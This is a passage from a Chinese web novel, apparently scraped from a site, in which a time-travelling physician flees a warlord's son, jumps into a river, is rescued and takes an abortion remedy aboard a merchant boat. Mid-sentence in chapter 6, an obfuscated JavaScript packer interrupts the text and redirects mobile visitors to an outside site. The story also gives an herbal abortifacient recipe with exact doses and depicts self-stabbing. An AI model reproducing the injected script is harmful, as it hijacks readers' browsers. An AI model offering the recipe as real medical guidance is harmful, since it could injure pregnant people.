这个决断并不难下,萧二沉吟片刻,淡淡道:“姑娘保重。” 言罢翻身上马,竟是带着部曲疾驰而去。 孙彦瞧见了他们,果然没有追赶,从始至终,他眼里只有崔芜一人。高头大马飞奔至前,极具威慑意味地扬起前蹄。 崔芜站在原地,一动不动。 孙彦催马上前,居高临下地睨视她。他出身贵重,又是嫡长,在吴越之地直与太子爷无异,却不想平生最大的跟头竟是栽在崔芜身上。 想到她勾结外人,在润州城中闹出的泼天风波,孙彦恨得牙根痒痒,脸色越发森然:“怎么就你一人?你那暗通款曲的奸夫呢?” 崔芜已经习惯了孙彦张嘴不说人话,却还是被恶心到了,不怒反笑。 孙彦死死盯着她:“你笑什么?” 崔芜:“狗嘴里果然吐不出象牙。” 孙彦大怒。 之前崔芜屡屡惹出祸事,险些被孙昭下令乱棍打死,都是孙彦替她兜住了。原以为锦衣玉食地养着、掏心挖肺地待着,假以时日,总能换得几分真心,却没想到所有的温驯顺从都是伪装,骨子里依然这般桀骜刚硬。 “好啊,我倒要看看,你这张利口能硬到几时!”孙彦握着马鞭的手紧了又紧,想到她身怀有孕,终是强迫自己松开手指,“来人,把她押回去!” 他身后的寒汀下马,向崔芜走来:“芳荃姑娘,还请……” 崔芜突然后退两步,手腕一翻,不知怎地多了把匕首,刀尖正抵着自己胸口:“都给我站住!” 寒汀一惊,倏然驻足。 孙彦亦是愕然,待要上前,又恐被崔芜看出焦急,反而拿捏自己,只冷冷道:“你以为你是什么东西?一个玩意儿,也配要挟我?” 崔芜冷笑回怼:“我若是玩意儿,那又是谁为了‘玩意儿’死缠烂打穷追不舍?天生犯贱不成!” 孙彦胸口起伏,脸色阴沉如水:“寻死觅活,我却不信你有这个胆子。” 说完手一挥,自有部曲去抢崔芜匕首。 然而他们动作再快也快不过崔芜,只见她手腕一推,匕首刺入脐下四寸处,入肉一分。 鲜血飞快浸透衣衫,部曲被血色震住,谁也不敢向前。 孙彦从没这般恼怒过,厉声大喝:“你若敢伤及孙氏子嗣,你院里伺候的丫鬟仆婢都得陪葬!” 崔芜回以讥讽冷笑。 孙彦这才想起,偏院护卫尽数毙命刀下。他虽不知有两人是崔芜亲手所杀,却也猜到,这些护卫仆婢奉命看守,屡次三番阻拦崔芜逃走,只怕与她结了仇怨。莫说是空口威慑,就算将人拖来,当着崔芜的面处置了,她也未必会眨一眨眼。 他恼恨交加,偏生没有拿捏对方的筹码,一时连指尖都颤抖起来:“你偏要与我对着干,我到底哪里待你不好!” 对这个问题,崔芜根本不屑回答,就听孙彦咬牙道:“你也不打听打听,就你这般任性妄为,莫说润州城,便是江南地界,但凡有些规矩的人家,谁能容得下?” “旁人家的妾室,谁不是作小伏低、卑事主母,哪个像你这般不服管教?你心心念念要逃出节度使府,可知府外天地远非你想的那般逍遥自在?匪寇、人牙、乱兵、流民,随便遇上哪个,都能要了你的性命!” “你又能跑到哪去!” 崔芜怔忡了一瞬。 她知道孙彦说得没错,因为在后世史书上,曾不止一次出现过类似“城中仓廪空虚,饥民相杀而食,其夫妇、父子自相牵,就屠卖之”的记载。(1) 更可怕的是,这种情况不仅出现在江南,而是遍布各地。 相形之下,孙彦虽然自负独断,不拿女子当人看,动辄“玩意儿”“卑事主母”,试图打压她的自尊、折断她的傲骨。 可他已经是这个世道中,难得的头脑清明、才智兼备,德行为人超出水准之上的明主。 这如何不让崔芜彻骨绝望? “你说得对,洪水滔天,我无处可去,”良久,崔芜开口,语气轻渺,眼底不屈不挠的光飞快黯淡。 孙彦心知自己的话触动了她,却并没感到自得,反而无端升起恐慌,只因此时的崔芜仿佛一抹幽魂,随时可能随风逝去。 “芳荃,”他忽然察觉崔芜离河水太近,忍不住道,“你先过来!” 崔芜不进反退,脚步落下,半个足跟已经悬空。 “可就算这样,”她抬头看着孙彦,目光灼灼,一字一顿,“我也不认命!” “我此生,宁为风雨折,不受囚笼困!” 她挑眉一笑,容光眩目不可逼视,忽而向后纵身,义无反顾地投入河水之中。 刹那间,孙彦好似被惊雷轰散了魂魄,不顾一切地扑上前,只见河水滔滔,奔腾不息,云低天阔,风声枭厉。 哪里还有崔芜的身影? 孙彦脑中空白,就要跟着往下跳,却被寒汀及时拉住。他拼命挣扎,刹那间爆发出的力量极为可怕,两个部曲都压制不住:“放开我……你们拉扯我做什么?还不下去救人!” 寒汀忙道:“郎君不必犯险,我等下河救人便是。” 他使了个眼色,五六个精通水性的部曲当即跃入河中。 孙彦推开寒汀,一瞬不瞬地盯着水面,只盼下一瞬,部曲能带着崔芜浮上来。然而等了约莫半炷香,忽听水声作响,部曲探出头,却是脸色青白,面带惭愧。 “我等本已寻到芳荃姑娘,可她无意求生,反而用匕首划伤卑下,”部曲捂住手臂伤处,指缝渗出血迹,“河底暗流太急,卑下再去寻时,芳荃姑娘……已经不见踪影。” 孙彦神色怔怔,不知是悲是怒。 寒汀心中不安,试探唤道:“郎君?” 就见孙彦猛一踉跄,口中呛出鲜血。 *** 崔芜投河之际,打定了要么逃出生天,要么葬身河底的决心。 是以,当部曲伸出手时,她毫不犹豫地挥舞匕首刺伤对方,随后向暗涌湍急处拼命游去。 很快,身后再无部曲追逐,但崔芜憋着的一口气也堪堪用尽。窒息的痛苦挤压胸口,肺脏好似要炸裂,她拼命踩水,试图浮出河面换气,暗涌形成的漩涡却拖住她,往河底深处拽去。 崔芜体力有限,不多会儿就觉得手脚发沉,更要命的是,她下腹升起冰冷痛楚,刀绞一般。 就在她不堪水压重负,张嘴喷出一连串气泡之际,有人攥住她手腕,托着她向上浮去。 恍惚中,崔芜以为是部曲去而复返,下意识挥动匕首,却被对方轻松躲过。紧接着,她整个人一轻,耳畔“哗啦”一声,脑袋已经探出水面。 崔芜贪婪喘息,空气给濒临宕机的大脑注入救命的血液,她总算凝聚起一点理智,也认出救了她的男人。 “咳咳,怎、怎么是你?” 她只来得及说出这句话,就在下腹的绞痛中失去意识。 有种说法是,人在濒死时会不自觉地回顾生平,崔芜本以为会看到魂穿乱世、楚馆求存的那十年,回首却只见平和宁静、阳光明媚。 那是她的来路,是她在现代意气风发的岁月。 是高考前夕,她在虫声长鸣中挑灯夜战,实在困得受不住,踮脚去厨房冲了杯咖啡,刚转过身,杯子就被人夺走,母亲冷着一张脸,一边念叨这么晚喝咖啡还睡不睡了,一边泡了杯参茶塞进她手里。 是大学校园,她拉着室友飞奔进食堂,最爱的馄饨鸡窗口排起长龙,她俩气喘吁吁地站在队尾,交换过一个得意又庆幸的眼神。 是解剖教室,新鲜的“大体老师”躺在手术台上(2),她和同学们穿着白大褂,向遗体鞠躬致敬,然后颤巍巍拿起手术刀,开始平生第一场解剖实验课。 那是崔芜再也回不去的美好,她眼睁睁看着她深爱的人——父母、老师、同学,消失在光明深处,张口想喊住他们,喉咙却被堵住似的,发不出声音。 崔芜拼命挣扎,然后在满头冷汗中猛地睁开眼。 一开始,刚重启的大脑跟不上五官六感,她缓缓挪动眼珠,将周遭陈设收入视线,却做不出任何反应。 直到她看到床榻边闭目小憩的男人。 她不知萧二是何时折返的,也不明白他为何要去而复返,但她落水时尚且清醒,依稀记得窒息的最后一刻,是这人伸出手,将她拖出冰冷的漩涡。 无论他的目的是什么,于崔芜,这都是救命之恩。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458112|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想开口,却发出嘶哑的咳嗽声。 萧二瞬间睁眼,锐利目光转向床榻,复又缓和。他起身倒了热茶,亲手喂到崔芜嘴边,后者咳得厉害,又觉口渴,就着他的手一气喝完。 然后她躺回枕上,咂摸了下干裂的嘴唇,嘶声问道:“这是哪?” 萧二简明扼要道:“船上。” 崔芜露出诧异。 她不知道的是,那股险些将她吞噬的暗涌十分凶险,萧二水性平平,好不容易将她托出水面,却发现自己已经远离河岸,仓促间根本游不回去。 不幸中的万幸是,当时刚好有艘货船经过,船主是北地行商,顺手捞了他们一把。 “船主姓丁,此行原是前往河东,”萧二说,“我假称是你兄长,归乡探亲途中遭遇匪寇,无奈之下只能投水求生。稍后有人进来,莫要说漏嘴。” 崔芜没理会,反问道:“你为何回来?” 看到萧二头也不回离去时,说不失落是假的。但她穿越多年,已经习惯了人心诡诈、世情冷暖。 就好像她刚穿越那会儿,原本有机会逃走,却因为怜悯服侍自己的小丫鬟,在鸨母叫嚣着要将人活活打死时,主动投了罗网。 后来崔芜才知道,那是老鸨与丫鬟串通演的一出戏,事后,丫鬟得了五百钱的赏银,而逃跑未遂的崔芜却挨了一顿鞭子,还被关进地窖整整七日。 自此之后,崔芜再没对身边人抱有过期待。 没有期待,就不会失望。 但她没想到,萧二竟然回来了。 “为什么回来?”她百思不得其解,“吴越之地是孙家地盘,你在他们眼皮底下救人,不怕激怒孙家父子,坏你大事?” 萧二神色平静,仿佛理所当然:“萧某应承姑娘,自当守信。” 大约是怕崔芜心存芥蒂,他难得多解释了一句:“当日孙氏追兵来势汹汹,萧某只能暂避锋芒。原想等孙氏放松戒心,再图营救,却险些累及姑娘性命,实乃萧某自以为是之过。” 崔芜沉默了。 “萧二郎君不必如此,”她平复了下情绪,“你我非亲非故,却肯冒死相救,崔芜感激不尽。” 不管萧二出于什么考量,也不论他是否冲着自己精通医理这一点,他既从湍流中救下她,崔芜就认了这桩恩情。 “日后,萧二郎君若有差遣,崔芜赴火蹈刃,万死不辞。” 说着,她从床上挣扎起身,就要郑重拜下。 萧二伸手扶她,船身却忽然震动了下,崔芜站不稳当,趔趄着晃了晃—— 然后被萧二眼疾手快地捞了个正着。 这倒没什么,崔芜也不是什么“断臂自清”的贞烈女子,问题在于现场不止他们两人。 舱门洞开,门口站着须发斑白的郎中,惊疑不定地瞧着两人:“两位这是……” 萧二若无其事,扶着崔芜坐下:“我是你兄长,有什么需要说一声便是,何必逞强?” 又对老郎中行了一礼:“舍妹刚醒,烦请先生替她看诊。” 他神色坦荡,毫无遮掩,倒叫老郎中去了几分疑心。他撩袍坐下,搭指于崔芜脉门,就见后者略一僵硬,过电般抽回胳膊。 老郎中会错了意,笑道:“老夫年近六旬,孙女都有夫人大了,倒也不必如此谨慎。” 夫人? 崔芜眼角抽跳,就听老郎中下一句道:“倒是夫人自己,妇人怀胎以头三个月最为凶险,又经溺水之劫,怀象甚是不好。若想保住,须得卧床静养,万不可颠簸劳累了。” 崔芜看向萧二,后者神色沉静,不露异样:“有劳先生,我记下了。” 崔芜抬手抚住小腹,不满两个月的胎儿,肚腹尚未显露异样,也感受不到任何胎动。可偏偏长在体内,与她血脉相连。 这是她的骨血,或许也是她与这个乱世唯一的羁绊。 只除了他的到来,是以一种她无论如何不能接受的方式。 崔芜闭目片刻,复又睁开。 “先生,”她问,“可否为我开一副药?” 老郎中皱眉:“夫人要开何药?”又不赞同道:“药理之道,精细入微,牵一发则动全身,怎可随意开方?” 崔芜伸手入怀却摸了个空,一旁的萧二默不作声地递过一个荷包,正是她出逃前揣进怀里的,里头有几样首饰,是崔芜身陷楚馆十年所有的积蓄。 她摸出一只细巧的金臂钏,推到老郎中面前,轻言细语:“不是多名贵的药材,瞿麦六两,通草、桂心各三两,牛膝、榆白皮各四两,用水九升,煮取三升即可。”(3) 老郎中先是被臂钏金光晃了眼,待得听清药方,不由一惊:“那瞿麦与通草性寒通利,牛膝更有引血下行之效,夫人莫不是打算……” 崔芜抿起嘴角,抬头就见萧二目光转来,深深蹙眉。 7. 第七章 落胎 崔芜知道,于古人而言,“父母爱子”是天性,“为母则刚”是本能,除非万不得已,没有女子会主动要求打掉自己的孩子。 好比老郎中,短暂的震惊后,他开始苦口婆心地劝说:“夫人三思!不管怎样,到底是亲生骨肉,怎可随意堕去?再者,夫人身子孱弱,如若强行堕胎,日后能否怀上可就不好说了。” 崔芜不以为意。 不婚不育,芳龄永继。莫生莫养,仙寿恒昌。 老郎中:“终归是一条性命啊……” 崔芜刚醒,人还很虚弱,只能将声气压在一个相当克制的范围内:“他是性命,我不是吗?” 老郎中一愣。 “乱世如风雨,我不过一叶飘萍,独自求生尚且艰难,再带着个孩子,还有活路吗?”崔芜冷静反问,“先生,我想活着,有错吗?” 老郎中仍有犹疑,下意识看向一旁。 萧二背手站在床角,原本盯着烛台的视线转了来,眉心微微蹙起。 他使了个眼色,老郎中心领神会,借口熬药退出舱室。 舱门掩上,萧二缓缓道:“你不想要这个孩子,是因为担心日后……” 崔芜断然:“不是。” 或许是从没被人这样斩钉截铁地驳斥过,萧二眼神细微波动了一瞬,很快又恢复平静。 “在萧郎君眼中,我崔芜是何等样人?”只听崔芜问道,“你们说起我,是楚馆的烟花女子,是节度使府潜逃在外的妾室,是未出世孩子的母亲……” “独独不是‘崔芜’自己,对吗?” 萧二张口欲言,却又不习惯与人争辩,于是保持了沉默。 “这个孩子的到来,非我所愿,他的出现,无时无刻不在提醒我所受过的苦难与凌辱,”崔芜极轻缓地说道,“我为什么要让这个耻辱,在自己身体里呼吸长大?” “我又为什么让他降生于世,拖累自己的后半生?” “于我而言,先是自己,然后才是旁的。我的人生,也应由自己做主,而不是一个甚至还没长出手脚的胎儿。” 萧二无言以对。 这世上没有真正的感同身受,作为身居高位、手握权柄的男性,也很难共情出身贱籍的卑微女子。 他能做的,只是倒了热茶喂到崔芜嘴边,缓解她长时间说话后的干渴。 “我不能留下这个孩子,”崔芜喝了两口,轻声说,“他会毁了我的。” 萧二微一垂眸。 “既然姑娘拿定了主意,”他说,“萧某并无异议。” *** 货船行驶在江面上,船头好似一把剪刀,轻易划开绸缎般的水波。 自前朝均田令与租庸调法推行以来(1),每年都有大量绢布粮食运往都城,这就不可避免地推动了内河航运的崛起与兴盛。 有道是“江船不入汴,汴船不入河,河船不入渭”(2),既是在运河航行,所征用的必然是适宜汴水的歇艎支江船。(3) 这船名字特别,模样也与众不同:船体肥阔,底平舱浅,吃水较江船、河船也浅得多。这就导致它的船舱不会过分高大,横梁之上铺有木板,再于木板上载货。 舱室虽低矮,陈设却并不简陋,靠窗摆了条乌木长案,棋盘铺开,黑白两子杀得难舍难分。 有意思的是,这不是两方对弈,而是同一人左手与右手下。 包揽黑白者是货船东家,姓丁,族中排行第三,人称丁三郎君。祖上亦是世家名门,甚至能追溯到三国时期的沛国丁氏,后来虽说没落了,家底摆在那儿,终究是瘦死的骆驼比马大。 丁三郎生得相貌堂堂,穿着也锦绣辉煌。乱世礼崩乐坏,阶级限定没那么森严,行商亦可穿金戴玉,上好的蜀锦袍子衬着腰间玉带,只差将“富贵”二字凿脑门上。 “堕胎药?”他皱起眉头,“从来只听说女子为求保胎无所不用其极,倒还第一次见识有人将亲骨肉往外推的。” 案前站着老郎中,角落阴影里侍立着他此行带来的账房。这是个四十来岁的中年人,中等身材,其貌不扬,却打得一手好算盘,更兼头脑精明心思缜密,极得丁三郎信重。 “不稀奇,”账房说,“我瞧着那女子不像良家妇人,和她那‘兄长’……嘿,保不齐是什么关系。若是未娶正室,先弄出个庶子来,于世家大族可不是什么好事。” 将人救上船时,丁三郎恰好在甲板上,仓促间瞧了眼,三魂当即惊散了七魄。虽不至被美色蒙蔽了心窍,却也忍不住回味了片刻:“也难怪,那么个美人,放眼江南都找不出第二个,谁见了不动心?” 他用棋子敲击棋盘,自顾自地盘算着:“这样的美人,江南尚且少有,莫说北地了。昔年吕不韦奇货可居,用一个赵姬换了半辈子的权势富贵,今当乱世,丁氏想更进一步,不妨效仿先贤。” 账房无异议,只是有些担心:“小人看那姓萧的郎君气度不凡,多半不是白身。郎君若想用那女子做文章,还需打探明白两人关系,莫要买卖不成,先结了仇怨。” 丁三郎不以为意:“真要有身份有来历,何至于被几个匪寇逼得投河?这事我心里有数,大不了多送些金银财帛,女人而已,谁会跟钱财过不去?” 账房想想,还是有些不放心,正欲再劝,丁三郎忽然抬头:“谁?” 账房一愣,快步抢到门边,却听脚步声匆匆远去,一道身影倏忽消失在拐角暗影中。 账房面色骤变:“不好!郎君所言怕是被人听了去!” 丁三郎亦有些不安,转念想想,又放松下来:“寻常人不敢偷听,必是老六那个不争气的。” 账房:“六郎君?他与郎君一向不睦,会不会……” “他不敢!”丁三郎很是笃定,“此事干系丁氏前程,他一个妾室所出的庶子,吃了熊心豹子胆,敢坏我的好事?再者,那女子跟他有无甚干系,他吃饱了撑的管这份闲事?” 账房琢磨片刻,似乎是这个理,遂不多言。 一日后,货船在徐州靠岸,顺便补给日常所需。与此同时,崔芜也拿到了堕胎药材。 此时她有孕已近两月,就临床而言,其实错过了药物流产的最佳时间。强行流产,极易引发大出血,纵然躲过最致命的结果,随之而来的后遗症——如月经不调、宫腔感染,甚至是子宫内膜炎引发的不孕症,都足以让一个存身乱世的女性去掉半条命。 可即便如此,崔芜依然选择流掉孩子。 就像重得自由的鸟雀,宁死也要撞碎镣铐一样。 “服药后可能出现血崩,如果遇到这种情况,不必费力救治,天命如此,无谓尤人,”她十分冷静地说,“要是我没挺过来,也不用买棺木,直接一把火烧了,再把骨灰攘进河里,随波而去,最是干净。” 萧二正将药碗递来,闻言顿住手:“非这样不可?” 崔芜笑了笑:“要是有人捅了你一刀,痛得你撕心裂肺,你明知拔出刀会血流不止,能放任这把刀一直插在身上吗?” 萧二嘴唇紧抿,终于将碗递过。 崔芜毫不犹豫,一饮而尽。 等待的过程漫长而煎熬,一开始,绞痛是隐隐的,就像每月一次的生理期。但很快,痛楚加剧,下身血流不止,浸透了事先垫好的麻布与草纸。 崔芜早有准备,将叠成一卷的衣物塞进嘴里,堵住了所有的呻吟痛呼。 她身为女子的尊严已经被孙彦剥得干净,即便如此,也不想让人瞧见自己的孱弱与狼狈。 疼痛逐渐加码,五脏六腑抽搐成一团。崔芜在床上翻滚起来,攥紧床角的手指扭曲到近乎变了形。 不是说流产只有二级疼痛吗? 不是说堕胎等同于加码的大姨妈吗? 怎么能痛成这个鬼样子! 二级疼痛的堕胎尚且如此,十二级的分娩痛该有多可怕? 凭什么女人就得受这种苦,凭什么男人屁事没有? 更可气的是,承受了这些苦痛的女人,在这个狗屁时代居然处于被剥削的弱势地位! 简直混账透顶! 古代没有止痛药,崔芜只能放任思绪信马由缰,以此分散注意力。忽听门口轻轻响了声,有人推开舱门,缓步走了进来。 崔芜飞快闭眼,假装痛晕过去,手却探入枕下,握住匕首刀鞘。 然而来人十分守礼,不曾越过挡在床前的木屏风,只是在屏风后席地跪坐。很轻的“呛啷”一声,他拔出随身长剑,横陈于膝头,修长手指并拢,徐徐抚过如水剑刃。 崔芜心有所感,扭头瞧了眼,只见屏风上映出男子身形,轮廓坚毅侧影挺拔,果然是萧二。 她莫名松了口气,握住匕首的手悄然松开。 *** 货船在徐州停留了一日一夜,再次醒来时,崔芜有一瞬恍惚,不知自己在哪,也分不清是真是幻。 她刚从梦境中脱身而出,总觉得自己在家里,下意识唤道:“口渴,想喝水……” 指使到一半才反应过来,这里不是家中,也没有刀子嘴豆腐心的母亲一边抱怨“让你睡觉不盖好被子,看,着凉了吧”,一边将红糖姜茶送到床头。 然而,真的有人将热腾腾的茶碗递来,苦涩的汤药气味冲入鼻中,熏得人立时清醒。 崔芜抬头,果然对上萧二沉静无波的眼。 “把药喝了,”他说。 崔芜的理智在一刹那归位:“什么方子?” 萧二:“地黄,芎?,生姜,当归,甘草……” 崔芜回忆片刻,确定是胶姜汤(4) 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萧二没要她的心意,想也知道,这姑娘出逃在外,行囊不会太过丰厚,傍身之物就那么两三件,经得住几多花销? “萧某曾应承,会替姑娘打点路途所需,”他还是那句话,“姑娘安心静养便是。” 崔芜忍不住了。 她与萧二相识不过数日,到现在连人家真名都不知道,委实谈不上交情深厚。虽说一开始,她的确帮了萧二一个大忙,但她身陷孙府之际,也是萧二屡次相救,较真论起来,还是她欠人家情面多一些。 可是凭什么呢? 崔芜有自知之明,她出身楚馆,身份低微,没有任何家世与背景可以利用。一定要说,她通身上下唯有一张脸和一身医术还有些可取之处。 即便如此,也绝不值得旁人冒着性命危险相救。 何况萧二不是寻常人,观他气度行事,必是眼下或者曾经手掌权柄过。 居上位者,往往比普通百姓更惜命。 “一路行来,承蒙萧郎君照拂,崔芜十分感激,”她字斟句酌地说,“只是我与郎君萍水相逢,既无寸功亦无深恩,当不起郎君如此厚爱。” 萧二神色淡淡,仿佛没听出她的试探之意。 “人生在世,难免波折,既遇到了,帮一把不过是举手之劳,”他说,大约是觉得这话有客套之嫌,又道,“姑娘虽为女子,却心存气节、身有傲骨,萧某很是感佩。” 崔芜自嘲一笑:“零落泥淖之人,哪敢谈什么傲骨?萧郎君赞我心存气节,换做旁人,见我这般出身,却屡屡违逆节度使府嫡长郎君,指不定笑我不知尊卑、不识好歹。” 萧二本已打算告辞,与女子共处一室,还是刚堕过胎的在室女,终究不妥。可这句话不知怎地触动了他,脚步随即顿住。 “我生母亦是零落泥淖之人,”他淡淡地说,“因其殊色,被父亲看中,纳为妾室,数年后郁郁而终。” “她是个极傲气自爱的女子,我从未觉得她有何卑贱之处。” 言罢,他颔首致意,转身走了出去。 独留崔芜怔怔良久。 *** 萧二步伐稳健地穿过走道,丁三郎身边的账房迎上前,满面笑容道:“听说令妹病了,我家郎君特命小人送了些补身的药物来,不知小娘子可好些了?” 萧二看出他笑容之下的算计之意,却没点破,只道:“好些了,有劳挂心。” 账房搓着手,本就挺不直的腰背弯得更深了些:“我家郎君之前的提议,不知您考虑的如何?” 萧二没说话。 账房拿不准他心意,笑得更谦恭了些:“我家郎君是真心倾慕令妹,只要您点头,他愿意出这个数作为聘礼,且过门就是正室少夫人,决计委屈不了令妹。” 说着,伸出右手巴掌。 萧二还是没说话,只背手站在暗影里,静静看着他。 账房觉出无形的压力,闭嘴了。 萧二这才道:“我母亲早亡,只留下一个幼妹,我看着她长成嫁人,不料夫家刻薄,所托非人。” 账房赔笑道:“我家郎君是真心实意……” “舍妹曾言,此生不遇心仪之人,断不肯再嫁,”萧二平淡打断他,“萧某已经误了她一回,断不能误第二回。” 账房听出他的决然之意,诺诺告辞了。 等人走远了,萧二摊开右手,掌心里躺着一团揉皱的字条—— 丁三不是好东西,惦记你妹子,想把人当礼物送给北地豪强! 小心,别被他得逞了! 字迹潦草,字体稚拙,乍一看像是孩童习字的鬼画符。 萧二将字条揉进袖口,若有所思。 8. 第八章 自荐 字条是某日傍晚,藏在食盒中送进萧二舱室的。 看完字条,萧二径直去了崔芜房里,守了一日一宿,直到崔芜醒转才起身离去。 许是他态度坚决,震住了账房,接下来的两日,丁家人再未提过聘娶之话,萧二也没让这些闲言碎语传进崔芜耳中。 崔芜却不知自己险险逃过一劫,若是知晓,拼着划破这张脸也不会叫丁三郎得逞。 她在舱室里躺了两日,期间各色补汤流水样送到跟前,什么鸡汤、鱼汤、猪蹄汤,名贵药材如当归、黄芪,不要钱似地往里放。 崔芜觉出不对,狐疑道:“我与贵东家素未谋面,却得如此厚待,实在惶恐。” 送饭的婆子满面堆笑:“我家郎君最是乐善好施不过,相逢即是有缘,小娘子不必客气。再者,这些东西多半是令兄出的花销,咱们也是借花献佛。” 崔芜微微一怔。 她面上不露声色,顺着婆子的话敷衍了几句,实则记在心里。本想寻萧二问个明白,奈何人家恪守礼数,偶尔探望也是隔着屏风,倒叫崔芜不便提起话头。 她连歇两日,出血量渐少,孱弱乏力之症也有所好转。自己摁了摁脉搏,还算平稳有力,便知这道坎算是迈过去了。 于是这一日傍晚,她披上大氅,头一回走上甲板。 彼时已入四月,两岸春芳渐歇,绿荫转浓。远处残阳如血,倒映在开阔河面上,水光灼灼,好似熊熊烈焰。 崔芜心弦微松,常年压抑的心境豁然开朗,转目就见一道熟悉身影站在船舷旁。 她一路承萧二照拂,虽有防备,更多却是感激。许是心态转变,打量萧二的眼神也发生微妙变化。 毫无疑问,此人称得上风姿俊美,粗布衣裳难掩贵气,言行谈吐有着上位者的沉稳从容。 崔芜甚至从他过分挺拔的身形与斩钉截铁般的举动中察觉出骁悍之气,那是久经战阵之人才能养出的气质。 这般容貌气度,即便是生于锦绣的孙家父子,也要自叹弗如。 不知不觉,崔芜看向萧二的目光露出探究欣赏之色。 她盯得时间太久,以萧二的警觉,很难不发现。他回头看来,微微凝眸:“你身子还虚着,怎地出来了?” “船中憋闷,出来透透气,”崔芜掠开鬓发,见萧二一脸的不赞同,失笑道,“兄长放心,我自己就是大夫,心里有数。” 两人认识这么久,却难得一处闲聊,如今白送上门的机会,崔芜立刻分秒必争地收集情报:“兄长自称出身西北,听你口音,却不大听得出来。” 萧二看穿她心思,却不点破:“我母亲出身南边,我自小听她说话,习惯了。” 崔芜环视四周,犹自不敢大意,又往萧二身边靠了靠,压低声道:“兄长是为置办货物南下,如今却与我流落至此,不怕耽搁行程吗?” 萧二一早防着有人偷听,他耳力远胜崔芜,心知二十步内并无外人,只是见崔芜小心提防的样子十分有趣,也跟着放低声量:“货物已然送回西北,我与麾下约好,在汴梁城内碰头。” 此时,货船已然驶入汴河,逆水行船三四日,便可抵达汴梁,也就是后世的开封。 崔芜算算行程,惊觉原来早已脱离江南地界,曾经视作毕生阴影的节度使府,也被远远甩在身后。 从今往后,她再不是任人把玩鉴赏的“芳荃”,只是“崔芜”。 萧二等了半晌没听到话音,不由回头望去,只见崔芜神色怔忡,眼角隐有水痕。 他心生了然,不再说话,转头欣赏两岸风景。 崔芜心性坚忍,不过须臾激荡,已然平复情绪:“汴梁毕竟是后晋都城,兄长不怕露了行踪?” 萧二诧异:“后晋?” 崔芜与他对视片刻,在心里抽了自己一巴掌。 “后晋”是后世叫法,在这个时空,北方政权的国号依然是“晋”。她假装没看懂萧二闪烁的眼神,若无其事道:“咳咳,从晋帝眼皮底下借道,风险怕是不小吧?” 萧二探究更深:“你看过舆图?” 崔芜心说:老娘不止看过舆图,高中地理那会儿没少下苦功,闭着眼睛都能默写出来。 但她不打算这么早亮明底牌,只矜持道:“在书房服侍时见过几回,当时一心想着逃跑,所以用心记了。” 萧二接受了这个解释,答道:“晋帝病重,膝下唯有一侄一子,其侄年岁远长于幼子,被晋帝收作义子。” 崔芜明白了:“国赖长君,可为人父母都有私心,谁不想自己的嫡亲血脉继承家业?想必晋帝现在头疼得很,‘义子派’和‘亲子派’也斗得不可开交,君臣俱是分身无暇,谁还有功夫留心几车药材的去向?” 萧二这回是真诧异了。 如果说,崔芜声东击西、逃出节度使府是天生聪慧,了解各方势力分布是事先做足了功课,那仅凭寥寥数语就能将晋国朝局猜得七七八八,已经远超一个风尘女子的眼光与见识。 有那么一晃神间,萧二心生异感,总觉得面前站着的不是孙府逃妾,而是一位以身入局的谋士。 “姑娘从何听来这些,”他不动声色,“可是孙家父子谈论时局,曾提过这一节?” 崔芜听不得“孙家”二字,冷笑道:“姓孙的恨不能打断我两条腿,将我关进金丝笼子里,哪会当着我的面谈论这些?” 萧二于是确定,这的确是崔芜自己分析出来的。 他微微垂眸:“晋国朝堂自顾不暇,等到了汴梁,你我寻个借口入城,然后改道往西。” 崔芜好奇:“现在可以告诉我,要往西北何处?河东、关中,又或是河西?” 萧二淡笑不语。 崔芜歇了追问的心思,又觉着入夜风凉,不敢拿身体开玩笑,先行回了船舱。正要洗漱睡下,房门却被敲响,送饭婆子捧着托盘进来,竟是一碗金黄绵厚的人参鸡汤。 崔芜有些惊讶,她知道人参价位,一支数十年的好参能换三五百贯钱,搁在后世就是三十到五十万,实打实的奢侈品。 “这太贵重了,”崔芜自觉这份人情远超“举手之劳”,断然婉拒,“无功不受禄,怎可令主家如此破费?” 婆子却道:“姑娘不必不安,这原是你兄长烦劳厨房炖的,那参还是他用随身玉佩换的——啧啧,上好的和田白玉呢,可见是真心疼你。” 崔芜有些愕然。 她送那婆子出门,然后端起鸡汤,先凑近闻了闻,又含着参片轻轻一抿。 微苦回甘,散发出人参特有的芳香,确实是质地上乘的好参。 崔芜沉默须臾,将鸡汤一口一口饮尽。 *** 按常理说,女子堕胎需要十四天到二十八天的恢复期,崔芜眼下却没这个条件。 她不愿耽搁行程,只能领受萧二的好意,将各色滋补汤药一滴不剩地喝完,然后早早歇下,安心将养。 兴许是年轻底子好,也可能是人的求生意志比什么灵丹妙药都管用,总之,当货船在汴梁城外靠岸时,崔芜不仅能自如走动,精神也好了许多。 这一日清早,她照例起身洗漱,用早食时胃口大开,饮了一碗酪浆,还多用了两个胡饼。 这玩意儿跟后世的烤馕有些类似,个大皮厚,用料十分扎实,外皮撒了芝麻,里头裹着鲜香流油的羊肉馅,顶饱又扛饿。 送饭的婆子目瞪口呆,她见过不少如崔芜这般的娇柔美人,为了保持身材,每顿不过略动两三口,饭菜如何端上桌,又原样端下去。 但凡有些出身的姑娘家,谁会如崔芜一般,捧着肉饼不撒手,活像个饿死鬼投胎? 更不用提,崔芜生就一副极明艳的姿容,与这狼吞虎咽的做派实在……极不相称。 崔芜知道她在嘀咕什么,却不在乎,左右身体是自己的,里子的温饱可比面子好看实惠多了。 幸而她与婆子的缘分到此为止,早食过后,萧二登门造访,将一套男装拿给她:“换上,咱们进城。” 崔芜二话不说,听话照办。 两人下船时,账房亲自来送。看得出来,他是真心实意地不舍——不舍如崔芜这般美人,就这么逃脱掌控。 北地豪强多好色,若能带着这么个“奇货”上门,得换多少银钱生意? 崔芜看懂了他的惋惜,暗暗捏紧藏在衣袖中的匕首。走在前面的萧二突然止步,回身对账房抱拳行礼:“承蒙款待,就此别过。” 